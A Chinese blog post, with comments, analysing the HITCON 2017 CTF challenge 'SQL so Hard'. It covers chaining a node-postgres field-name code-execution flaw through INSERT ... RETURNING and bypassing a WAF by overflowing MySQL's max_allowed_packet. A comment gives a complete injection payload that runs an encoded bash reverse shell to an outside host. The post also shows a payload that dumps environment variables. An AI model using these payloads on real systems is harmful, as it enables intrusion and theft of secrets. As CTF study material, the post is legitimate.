2017 十一月 06
后面几天我分享一下Hitcon的几道代码审计相关题,我的思路和考点分析。就不写writeup了 😂 官方解法已经由 @Orange 发到他的github上了。 #奇技淫巧# 先说一下我比较熟悉的一道题目《SQL so Hard》,因为这题是我做的,并趁歪果仁还没起床拿到了这题的first blood 400分 [捂脸] 比赛开始前我有种预感,肯定有Node.js相关的题目,然后回想了一下这段时间有没有特别有意思的漏洞,于是想到了node-postgres的那个代码执行漏洞,赶在比赛前把这个漏洞分析了一遍。(那天早上6点写的文章啊兄弟们) 果然《SQL so Hard》这道题就是这个考点,押题真是第一准。看代码(代码 《SQL so Hard》源码 ),可以看到他连接了两个数据库(mysql和postgres),其中postgres存在SQL注入。那么,很容易就想到node-postgres这个代码执行漏洞,但是有如下2个难点: 1. SQL语句被分号分割,所以无法多句执行 2. WAF拦截了一些关键字 第1点,我发现这是一个INSERT语句中的注入点,而且不能多句执行。而我前面对node-postgres的分析得知,代码执行是因为返回的“字段名”被拼接进JavaScript代码导致的。那么,我必须控制字段名。在Mysql中似乎INSERT语句是没有返回值的,所以肯定控制不了字段名,但我翻阅Postgresql文档发现pg的INSERT语句是可以构造出返回值的(图1),那就是用到RETURNING语法。官方文档中对这个语法的说明是: An expression to be computed and returned by the INSERT command after each row is inserted or updated. The expression can use any column names of the table named by table_name. Write * to return all columns of the inserted or updated row(s). 也就是说,通过这个语法,在INSERT完成之后可以将这个表的任意字段返回给客户端,当然也就可以用AS语句来构造一个恶意fieldName来触发代码执行漏洞。 本地测试 RETURNING "name" AS "\'+console.log(process.env)]=null;//" -- 成功,说明这个思路是对的。 解决了第1个问题,第2个问题就是,我需要绕过WAF。因为WAF把最重要的反斜线给拦截了,如果绕不过WAF这个题的肯定做不了。 观察一下WAF部分的源码(图2),可以发现一个特点,这个WAF是检查用户输入的GP变量,如果存在恶意字符,“将ip和payload存入mysql数据库”,然后“根据ip查询数据库,只要查到有结果则拦截”。也就是说拦截过程分两步,那么顺理成章就想到,如果第1步也就是插入mysql数据库的操作如果失败的话,那么第二步也就查不出数据,也就可以绕过了WAF。 插入数据库的操作是没有注入点的,那么我们怎么让INSERT语句出错呢?常见方法有: 1. 重复提交数据,触发唯一键错误 2. 提交一个很长的payload,触发长度错误 3. 字段是utf8的情况下,可以提交4字节(utf8mb4)unicode字符触发错误 第1点不行,因为INSERT时有ON DUPLICATE KEY UPDATE操作。 第2点不行,正常情况下TEXT类型的长度是64k,我试了64k的payload无法触发错误,可能是用到了LONGTEXT类型。 第3点不行,可能是数据库用了utf8mb4编码。 最后经过fuzz我发现,当SQL语句超过16M(还是8M来着)就会触发错误,本地测试发现报的错是 max_allowed_packet 错误。原来是mysql限制了最大数据包不能超过max_allowed_packet的值,默认好像是16M。所以,这也是一个构造错误的方法。 最后,通过构造出INSERT语句的错误,导致WAF执行失败,绕过了WAF。 另外,因为Payload中不能有分号,所以我博客中的那个payload还需要修改,这块比较简单我就不多说了。 最后感谢一下🍊 @Orange 师傅的题目,能学习不少知识。

图片



48881244521528

Orange

看到你那篇文章的時候我真的有嚇到,想法也太類似了吧XDD

Orange

這題的另外一個小坑點是如何偽造 RCE 代碼, 在那個 Context 下並沒有 require 可以使用所以需要一些小技巧去拿到 require 再引入 child_process

phith0n

@Orange
哈哈,这个坑那天写文章刚好遇到了,省了一些时间 [捂脸]

Orange

@phith0n 繞過 WAF 的方式是我的預設解法! 本來 WAF 限制有阻擋單引號, 但是後來怕太困難把它拿掉, 這個心軟造成了有另外一個解法 ``` username=c2tf_i_am_username','aaa')%09RETURNING%091%09AS%09U%26"!005C'%5D%3D0!003Brequire%3Dprocess.mainModule.construct!006Fr._load!003B_=`"%09UESCAPE%09'!',2%09AS%09U%26"`!003Bp%3Drequire(`child_process`)!003B_=`"%09UESCAPE%09'!',3%09AS%09U%26"`!003Bp.exec(`echo%09YmFzaCAtaSA+JiAvZGV2L3RjcC8xODguM`+!002F!002A"%09UESCAPE%09'!',4%09AS%09U%26"!002A!002F`TY2LjE3Ni4xOTQvNTQzMjEgMD4mMQ%3D%3D|base64%09-d|bash`)!002F!002F"%09UESCAPE%09'!'-- &password=not_important ```

Orange

最後是為了方便參賽者做題目, 有使用 script 定期刪除 bandb 資料庫, 結果反倒被拿來 Race Condition 利用, 出題時我一直完美程式不能有其他漏洞結果反倒是 "方便參賽者做題目的處理" 被拿來利用也是非常有趣XD

phith0n

@Orange
我当时想到用UESCAPE去构造编码,但发现双引号里的东西不能编码,难道是我搞错了?我再看看

D_infinite

围观orange牛🤔🤔🤔